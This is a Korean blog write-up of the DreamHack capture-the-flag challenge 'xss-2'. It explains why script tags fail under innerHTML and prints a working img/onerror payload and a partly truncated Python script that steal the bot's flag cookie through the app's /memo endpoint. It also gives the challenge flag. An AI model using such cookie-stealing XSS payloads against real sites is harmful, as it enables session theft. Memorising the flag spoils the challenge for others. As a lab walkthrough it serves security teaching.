이 글이 도움이 됐나요?
문제: DreamHack — xss-2 분류: Web 난이도: 🥉 Bronze 1 FLAG:
DH{3c01577e9542ec24d68ba0ffb846508f}
| 항목 | 내용 |
|---|---|
| 문제명 | xss-2 |
| 난이도 | 🥉 Bronze 1 |
| 분류 | Web (Flask + Selenium 봇) |
| 제공 파일 / 서버 | 소스 + http://host8.dreamhack.games:8385/ |
| 핵심 취약점 / 기법 | innerHTML DOM XSS → img/onerror로 쿠키 탈취 |
겉보기는 xss-1과 똑같다. /vuln에 넣은 값이 페이지에 반사되고, /flag에 페이로드를 제출하면 봇이 flag 쿠키를 들고 그 페이지를 방문한다. 봇의 쿠키를 내 쪽으로 빼오면 끝이다.
차이는 반사되는 방식 한 군데다. 그리고 그 한 군데 때문에 xss-1에서 쓰던 <script> 페이로드가 여기선 통째로 죽는다.

/flag에 POST하면 check_xss가 호출되고, 헤드리스 크롬 봇이 우리 페이로드가 박힌 /vuln을 연다. 이때 봇에 심기는 쿠키가 핵심이다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
...
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
@app.route("/flag", methods=["GET", "POST"])
def flag():
...
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):봇은 flag=<진짜 flag> 쿠키를 127.0.0.1 도메인에 단다. httpOnly 지정이 없으니 JS의 document.cookie로 그대로 읽힌다. 봇 안에서 JS만 실행시키면 flag가 손에 들어온다.
문제의 vuln.html을 보자.
<div id='vuln'></div>
<script>
var x = new URLSearchParams(location.search);
document.getElementById('vuln').innerHTML = x.get('param');
</script>param이 innerHTML에 들어간다. xss-1은 서버가 param을 그대로 HTML에 찍어 <script>가 실행됐지만, 여기선 JS가 클라이언트에서 innerHTML에 꽂는 DOM 기반 XSS다. 그리고 이게 함정이다.
탈취한 쿠키를 봇 바깥의 나에게 전달할 채널이 필요하다. /memo가 그 역할을 한다.
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)memo_text는 전역 변수다. 봇이 /memo?memo=<flag>로 접속해 저장해 두면, 내가 /memo를 열어 그 값을 읽을 수 있다. 봇과 공격자가 같은 저장소를 공유하는 구조라 별도 서버 없이 쿠키를 회수할 수 있다.
xss-1의 <script>alert(1)</script>를 그대로 넣으면 아무 일도 안 일어난다. HTML5 명세가 그렇게 정해 뒀다. innerHTML로 삽입된 <script>는 DOM에는 들어가지만 실행되지 않는다.
직접 확인해 보면 빈 화면이다. param=<script>...</script>를 줘도 div는 비어 있고 스크립트는 죽는다.

우회는 간단하다. 스크립트 태그 말고, 삽입되는 순간 이벤트 핸들러가 저절로 도는 요소를 쓰면 된다. 대표적인 게 깨진 이미지의 onerror다.
<img src=x onerror="...아무 JS...">src=x는 로드에 실패하고, 그 즉시 onerror가 실행된다. innerHTML로 들어가도 이건 동작한다. 실제로 onerror에 페이지를 바꾸는 코드를 넣어 보면 그대로 실행된다.

<svg onload=...>, <iframe onload=...> 같은 것도 같은 원리로 쓸 수 있다. 핵심은 "삽입 = 실행"이 성립하는 태그를 고르는 것이다.
봇 안에서 document.cookie를 읽어 /memo로 보내면 된다. 봇은 127.0.0.1:8000에서 도니, 상대경로 /memo를 쓰면 같은 출처에 머물러 flag 쿠키가 스코프 안에 그대로 있다.
<img src=x onerror="location.href='/memo?memo='+document.cookie">이걸 /flag 폼의 param에 제출한다. 서버는 urllib.parse.quote(param)로 인코딩해 봇에게 /vuln?param=...을 열게 한다.

봇이 /vuln을 열면 onerror가 터지고, location.href가 /memo?memo=flag=DH{...}로 이동하면서 flag가 전역 memo_text에 쌓인다. 그 다음 내가 /memo를 열면 그 값이 그대로 보인다.

#!/usr/bin/env python3
import re, time, sys, requests
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host8.dreamhack.games:8385"
# <script>는 innerHTML로 안 도니까 img/onerror. 상대경로라 봇이 자기 출처에 머문다.
payload = "<img src=x onerror=\"location.href='/memo?memo='+document.cookie\">"
s = requests.Session()
# 1) flag 쿠키를 든 봇을 페이로드로 깨운다
print("[*] /flag POST ->", s.post(f"{BASE}/flag", data={"param": payload}).text.strip())
# 2) 봇이 /memo?memo=flag=DH{...} 로 이동 → 전역 memo_text에 적재
time.sleep(2)
# 3) 같은 /memo 저장소를 읽어 회수
html = s.
실행하면 봇이 good을 돌려주고, /memo에서 flag가 회수된다.

DH{3c01577e9542ec24d68ba0ffb846508f}같은 XSS라도 싱크가 다르면 페이로드가 다르다.
xss-1은 서버가 값을 HTML에 직접 찍어 <script>가 그대로 실행됐다. xss-2는 클라이언트 JS가 innerHTML에 꽂는다. 둘 다 "값이 페이지에 반사된다"는 점은 같지만, innerHTML로 들어간 <script>는 실행되지 않는다는 한 줄짜리 명세 차이가 페이로드 전체를 바꾼다.
innerHTML 우회는 "삽입 = 실행" 태그를 찾는 일이다.
<img onerror>, <svg onload>처럼 DOM에 붙는 순간 이벤트가 도는 요소면 된다. DOM XSS를 만났을 때 <script>가 안 먹힌다고 막힌 게 아니라, 싱크 종류에 맞는 벡터를 고르는 단계로 넘어간 것뿐이다.
쿠키 회수는 환경이 이미 가진 채널로.
별도 수신 서버를 띄울 필요 없이, 봇과 공격자가 공유하는 전역 /memo 하나로 끝났다. 탈취한 데이터를 어디로 보낼지는, 그 환경에 이미 뚫려 있는 출력 경로부터 보는 게 빠르다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…